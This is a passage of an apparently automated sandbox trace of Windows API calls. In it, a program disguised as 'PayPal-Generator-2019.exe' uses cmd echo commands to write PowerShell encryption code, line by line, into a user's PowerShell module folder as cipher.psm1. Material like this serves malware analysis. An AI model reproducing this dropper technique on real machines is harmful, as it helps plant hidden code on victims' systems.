dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.236] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.236] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.236] GetFileType (hFile=0x3c) returned 0x1 [0049.236] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9ba [0049.236] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e2e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e2e4*=0) returned 0x9b9 [0049.236] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e2e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e2d8, lpOverlapped=0x0 | out: lpBuffer=0xe2e2e8*, lpNumberOfBytesRead=0xe2e2d8*=0x1, lpOverlapped=0x0) returned 1 [0049.236] GetConsoleTitleW (in: lpConsoleTitle=0xe2e0e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.237] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.237] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.237] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.237] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.237] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.237] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.237] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.237] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.237] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.237] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.238] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e0a4 | out: _Buffer=" $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) \r\n") returned 133 [0049.238] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.238] GetFileType (hFile=0x3c) returned 0x1 [0049.238] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) \r\n", lpUsedDefaultChar=0x0) returned 134 [0049.238] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0xe2e094, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e094*=0x85, lpOverlapped=0x0) returned 1 [0049.238] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.238] _close (_FileHandle=3) returned 0 [0049.238] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.238] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.238] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.238] GetFileType (hFile=0x3c) returned 0x2 [0049.238] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.239] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e28c | out: lpMode=0xe2e28c) returned 1 [0049.240] _dup (_FileHandle=1) returned 3 [0049.240] _close (_FileHandle=1) returned 0 [0049.240] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.240] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e26c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.240] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.240] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.240] GetFileType (hFile=0x3c) returned 0x1 [0049.240] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa3f [0049.241] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e284*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e284*=0) returned 0xa3e [0049.241] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e288, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e278, lpOverlapped=0x0 | out: lpBuffer=0xe2e288*, lpNumberOfBytesRead=0xe2e278*=0x1, lpOverlapped=0x0) returned 1 [0049.241] GetConsoleTitleW (in: lpConsoleTitle=0xe2e088, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.241] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.241] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.241] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.241] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.242] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.242] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.242] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.242] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.242] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.242] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.242] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e044 | out: _Buffer=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n") returned 95 [0049.242] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.242] GetFileType (hFile=0x3c) returned 0x1 [0049.242] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", lpUsedDefaultChar=0x0) returned 96 [0049.242] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xe2e034, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e034*=0x5f, lpOverlapped=0x0) returned 1 [0049.242] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.244] _close (_FileHandle=3) returned 0 [0049.244] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.244] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.244] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.244] GetFileType (hFile=0x3c) returned 0x2 [0049.244] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.244] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e22c | out: lpMode=0xe2e22c) returned 1 [0049.245] _dup (_FileHandle=1) returned 3 [0049.245] _close (_FileHandle=1) returned 0 [0049.245] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.245] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e20c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.246] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.246] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.246] GetFileType (hFile=0x3c) returned 0x1 [0049.246] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa9e [0049.246] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e224*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e224*=0) returned 0xa9d [0049.246] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e228, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e218, lpOverlapped=0x0 | out: lpBuffer=0xe2e228*, lpNumberOfBytesRead=0xe2e218*=0x1, lpOverlapped=0x0) returned 1 [0049.246] GetConsoleTitleW (in: lpConsoleTitle=0xe2e028, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.247] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.247] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.247] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.247] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.247] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.247] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.247] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.247] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.247] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.247] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.247] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dfe4 | out: _Buffer=" if($PSBoundParameters.ContainsKey('CipherMode')){ \r\n") returned 66 [0049.247] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.247] GetFileType (hFile=0x3c) returned 0x1 [0049.247] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSBoundParameters.ContainsKey('CipherMode')){ \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSBoundParameters.ContainsKey('CipherMode')){ \r\n", lpUsedDefaultChar=0x0) returned 67 [0049.247] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe2dfd4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2dfd4*=0x42, lpOverlapped=0x0) returned 1 [0049.248] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.248] _close (_FileHandle=3) returned 0 [0049.248] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.248] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.248] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.248] GetFileType (hFile=0x3c) returned 0x2 [0049.248] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.248] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e1cc | out: lpMode=0xe2e1cc) returned 1 [0049.249] _dup (_FileHandle=1) returned 3 [0049.249] _close (_FileHandle=1) returned 0 [0049.249] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.249] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e1ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.250] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.250] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.250] GetFileType (hFile=0x3c) returned 0x1 [0049.250] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae0 [0049.250] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e1c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e1c4*=0) returned 0xadf [0049.250] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e1c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e1b8, lpOverlapped=0x0 | out: lpBuffer=0xe2e1c8*, lpNumberOfBytesRead=0xe2e1b8*=0x1, lpOverlapped=0x0) returned 1 [0049.250] GetConsoleTitleW (in: lpConsoleTitle=0xe2dfc8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.251] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.251] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.251] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.251] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.251] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.251] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.251] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.251] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.251] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.251] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.251] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2df84 | out: _Buffer=" $Crypto.Mode = $CipherMode } \r\n") returned 48 [0049.251] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.252] GetFileType (hFile=0x3c) returned 0x1 [0049.252] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.Mode = $CipherMode } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.Mode = $CipherMode } \r\n", lpUsedDefaultChar=0x0) returned 49 [0049.252] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xe2df74, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2df74*=0x30, lpOverlapped=0x0) returned 1 [0049.252] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.252] _close (_FileHandle=3) returned 0 [0049.253] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.253] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.253] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.253] GetFileType (hFile=0x3c) returned 0x2 [0049.253] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.253] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e16c | out: lpMode=0xe2e16c) returned 1 [0049.255] _dup (_FileHandle=1) returned 3 [0049.255] _close (_FileHandle=1) returned 0 [0049.255] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.255] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e14c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.255] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.255] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.256] GetFileType (hFile=0x3c) returned 0x1 [0049.256] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb10 [0049.256] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e164*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e164*=0) returned 0xb0f [0049.256] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e168, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e158, lpOverlapped=0x0 | out: lpBuffer=0xe2e168*, lpNumberOfBytesRead=0xe2e158*=0x1, lpOverlapped=0x0) returned 1 [0049.256] GetConsoleTitleW (in: lpConsoleTitle=0xe2df68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.257] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.257] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.257] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.257] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.257] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.257] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.257] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.257] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.257] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.257] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.257] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2df24 | out: _Buffer=" if($PSBoundParameters.ContainsKey('PaddingMode')){ \r\n") returned 66 [0049.257] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.257] GetFileType (hFile=0x3c) returned 0x1 [0049.257] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSBoundParameters.ContainsKey('PaddingMode')){ \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSBoundParameters.ContainsKey('PaddingMode')){ \r\n", lpUsedDefaultChar=0x0) returned 67 [0049.257] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe2df14, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2df14*=0x42, lpOverlapped=0x0) returned 1 [0049.258] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.260] _close (_FileHandle=3) returned 0 [0049.260] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.260] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.261] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.261] GetFileType (hFile=0x3c) returned 0x2 [0049.261] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.261] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e10c | out: lpMode=0xe2e10c) returned 1 [0049.280] _dup (_FileHandle=1) returned 3 [0049.280] _close (_FileHandle=1) returned 0 [0049.280] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.280] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e0ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.281] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.281] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.281] GetFileType (hFile=0x3c) returned 0x1 [0049.281] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb52 [0049.281] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e104*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e104*=0) returned 0xb51 [0049.281] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e108, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e0f8, lpOverlapped=0x0 | out: lpBuffer=0xe2e108*, lpNumberOfBytesRead=0xe2e0f8*=0x1, lpOverlapped=0x0) returned 1 [0049.281] GetConsoleTitleW (in: lpConsoleTitle=0xe2df08, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.282] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.282] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.282] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.282] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.282] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.282] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.282] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.282] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.282] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.282] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.282] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dec4 | out: _Buffer=" $Crypto.Padding = $PaddingMode } \r\n") returned 52 [0049.282] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.282] GetFileType (hFile=0x3c) returned 0x1 [0049.282] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.Padding = $PaddingMode } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.Padding = $PaddingMode } \r\n", lpUsedDefaultChar=0x0) returned 53 [0049.282] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe2deb4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2deb4*=0x34, lpOverlapped=0x0) returned 1 [0049.283] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.283] _close (_FileHandle=3) returned 0 [0049.283] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.283] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.283] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.283] GetFileType (hFile=0x3c) returned 0x2 [0049.283] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.284] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e0ac | out: lpMode=0xe2e0ac) returned 1 [0049.285] _dup (_FileHandle=1) returned 3 [0049.285] _close (_FileHandle=1) returned 0 [0049.285] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.285] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e08c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.285] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.285] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.285] GetFileType (hFile=0x3c) returned 0x1 [0049.285] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb86 [0049.285] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e0a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e0a4*=0) returned 0xb85 [0049.285] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e0a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e098, lpOverlapped=0x0 | out: lpBuffer=0xe2e0a8*, lpNumberOfBytesRead=0xe2e098*=0x1, lpOverlapped=0x0) returned 1 [0049.285] GetConsoleTitleW (in: lpConsoleTitle=0xe2dea8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.286] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.286] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.286] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.286] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.286] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.286] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.286] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.286] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.286] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.286] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.287] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2de64 | out: _Buffer=" $Crypto.KeySize = $EncryptionKey.Length*8 \r\n") returned 57 [0049.287] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.287] GetFileType (hFile=0x3c) returned 0x1 [0049.287] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.KeySize = $EncryptionKey.Length*8 \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.KeySize = $EncryptionKey.Length*8 \r\n", lpUsedDefaultChar=0x0) returned 58 [0049.287] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xe2de54, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2de54*=0x39, lpOverlapped=0x0) returned 1 [0049.287] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.287] _close (_FileHandle=3) returned 0 [0049.287] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.287] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.288] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.288] GetFileType (hFile=0x3c) returned 0x2 [0049.288] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.288] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e04c | out: lpMode=0xe2e04c) returned 1 [0049.289] _dup (_FileHandle=1) returned 3 [0049.290] _close (_FileHandle=1) returned 0 [0049.290] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.290] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e02c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.290] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.290] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.290] GetFileType (hFile=0x3c) returned 0x1 [0049.290] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbbf [0049.290] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e044*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e044*=0) returned 0xbbe [0049.290] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e048, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e038, lpOverlapped=0x0 | out: lpBuffer=0xe2e048*, lpNumberOfBytesRead=0xe2e038*=0x1, lpOverlapped=0x0) returned 1 [0049.290] GetConsoleTitleW (in: lpConsoleTitle=0xe2de48, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.291] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.291] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.291] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.291] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.291] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.291] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.291] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.291] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.291] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.291] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.291] _vsnwprintf (in: 